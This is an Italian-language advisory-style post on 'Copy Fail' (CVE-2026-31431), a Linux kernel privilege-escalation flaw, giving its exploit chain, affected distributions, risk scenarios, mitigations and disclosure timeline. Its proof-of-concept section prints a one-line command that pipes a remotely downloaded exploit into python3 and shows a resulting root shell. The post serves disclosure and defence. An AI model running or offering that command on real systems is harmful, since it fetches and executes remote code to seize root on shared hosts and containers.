732 byte per compromettere Linux: una vulnerabilità epica nascosta per quasi un decennio

🚨 Vulnerabilità epica: 732 byte per compromettere tutti i Linux, in agguato per quasi un decennio
Una vulnerabilità del kernel Linux denominata"Copy Fail"(CVE-2026-31431) è stata divulgata pubblicamente:
- 732 bytedi codice Python
- 100% affidabile, senza bisogno di finestre di race condition né di offset del kernel
- Interessa tutte le distribuzioni Linux(dal 2017 a oggi)
- Primitiva di container escape, attacco cross-tenant
- In agguato per quasi un decennio, fino alla divulgazione pubblica del 29 aprile 2026
Lo stesso scriptsu Ubuntu, RHEL, Amazon Linux e SUSEfunziona senza alcuna modifica.
🎯 Il cuore della vulnerabilità
Un singolo difetto logico
Copy Fail è undifetto logico lineare:
- Nessuna finestra di race necessaria: a differenza della maggior parte delle LPE Linux, che richiedono race condition
- Nessun offset del kernel richiesto: non servono offset specifici del kernel
- 100% affidabile: riesce ogni volta
- Lo stesso script: funziona su tutte le distribuzioni
La catena di sfruttamento
La catena di attacco di Copy Fail:
- Bug logico authencesn: un bug logico
- AF_ALG: tramite la crypto API del kernel
- splice(): chiamate concatenate
- Scrittura di 4 byte nella page cache: la primitiva di attacco finale
- Sfruttabile per quasi un decennio: dal 2017 fino al rilascio della patch
📊 Perimetro dei sistemi interessati
Distribuzioni verificate ufficialmente
| Distribuzione | Versione del kernel | Stato |
|---|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws | ✅ Verificata |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | ✅ Verificata |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 | ✅ Verificata |
| SUSE 16 | 6.12.0-160000.9-default | ✅ Verificata |
Altre distribuzioni interessate
Anche le seguenti distribuzionisono interessate:
- Debian
- Arch Linux
- Fedora
- Rocky Linux
- AlmaLinux
- Oracle Linux
- Linux embedded
Conclusione: se il tuo kernel è stato compilato tra il 2017 e la patch —sei interessato.
💡 Scenari ad alto rischio
| Scenario | Rischio | Impatto |
|---|---|---|
| Host Linux multi-tenant | Alto | Qualsiasi utente diventa root |
| Cluster Kubernetes / container | Alto | Attacchi tra container e tra tenant |
| CI Runner / Build Farm | Alto | Una PR diventa root del runner |
| Cloud SaaS che esegue codice utente | Alto | Il tenant diventa root dell'host |
| Server Linux standard | Medio | LPE interna, sfruttabile in catena |
| Notebook monoutente | Basso | Passaggio di privilege escalation post-exploitation |
🔧 Contromisure
Opzione 1: aggiornare il kernel (consigliato)
Aggiornare il kernel a una versione che includail commit mainline a664bf3d603d:
- Contenuto della fix: annulla l'ottimizzazione in-place di algif_aead del 2017
- Effetto: le pagine della page cache non compaiono più nella destination scatterlist scrivibile
- Stato: la maggior parte delle distribuzioni principali ha già rilasciato la patch
Opzione 2: disattivare il modulo algif_aead (temporanea)
# 禁用 algif_aead 模块 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
Impatto della disattivazione di algif_aead
| Componente | Impatto |
|---|---|
| dm-crypt / LUKS | Non interessato |
| kTLS / IPsec | Non interessato |
| OpenSSL / SSH | Non interessato |
| Spazio utente AF_ALG | Possibilmente interessato |
Conclusione: per la maggior parte dei sistemi, disattivare algif_aeadnon ha effetti evidenti.
Opzione 3: bloccare AF_ALG con seccomp
Per i carichi di lavoro non fidati (container, sandbox, CI), bloccare la creazione di socket AF_ALG tramite seccomp:
# 检查 AF_ALG 使用 lsof | grep AF_ALG ss -xa
🚀 Dimostrazione del PoC
Il PoC della vulnerabilità è pubblico, così che i defender possano verificare i propri sistemi:
Esecuzione rapida
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
Dettagli del PoC
- Dimensione del file: 732 byte
- Linguaggio: solo standard library di Python 3.10+ (os, socket, zlib)
- Target predefinito: /usr/bin/su
- SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
Avvertenza: lo script modifica la page cache di un binario setuid; le modifiche non persistono dopo il riavvio, ma la shell root è reale. Non eseguirlo in ambienti di produzione.
📅 Cronologia della divulgazione
| Data | Evento |
|---|---|
| 2026-03-23 | Segnalazione al team di sicurezza del kernel Linux |
| 2026-03-24 | Conferma iniziale |
| 2026-03-25 | Proposta e revisione della patch |
| 2026-04-01 | Patch inviata al mainline |
| 2026-04-22 | Assegnazione di CVE-2026-31431 |
| 2026-04-29 | Divulgazione pubblica |
🔍 Scopritore: Xint Code
La vulnerabilità è stata scoperta daXint Code:
- Tempo di scansione: circa 1 ora di scansione del sottosistema crypto/ di Linux
- Metodo di scoperta: code audit basato su AI
- Analisi completa: root cause, diagrammi, operator prompt
- Altri risultati: scoperte contemporaneamente altre vulnerabilità ad alta gravità, ancora in fase di coordinated disclosure
Palmarès di Xint Code
- 0-day RCE: ZeroDay Cloud, spazzata la categoria database (Redis, PostgreSQL, MariaDB)
- DARPA AIxCC Top 3: finalista della DARPA AI Cyber Challenge
- DEF CON CTF 9×: squadra con più vittorie nella storia del DEF CON CTF
📝 Conclusioni
Copy Fail (CVE-2026-31431) è unavulnerabilità epica del kernel Linux:
- 732 byte per compromettere tutti i Linux (dal 2017 a oggi)
- 100% affidabile, un singolo difetto logico
- Container escape, attacchi cross-tenant
- In agguato per quasi un decennio, fino alla divulgazione del 29 aprile 2026
- Scenari ad alto rischio: host multi-tenant, cluster di container, CI Runner, SaaS
- Mitigazione: aggiornare il kernel o disattivare algif_aead
- Scopritore: Xint Code, code audit basato su AI
Una vulnerabilità epica di quasi un decennio: un solo script per tutti i Linux.
Sito ufficiale della vulnerabilità:https://copy.fail
PoC su GitHub:https://github.com/theori-io/copy-fail-CVE-2026-31431
Analisi tecnica:https://xint.io/blog/copy-fail-linux-distributions
Patch del kernel:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5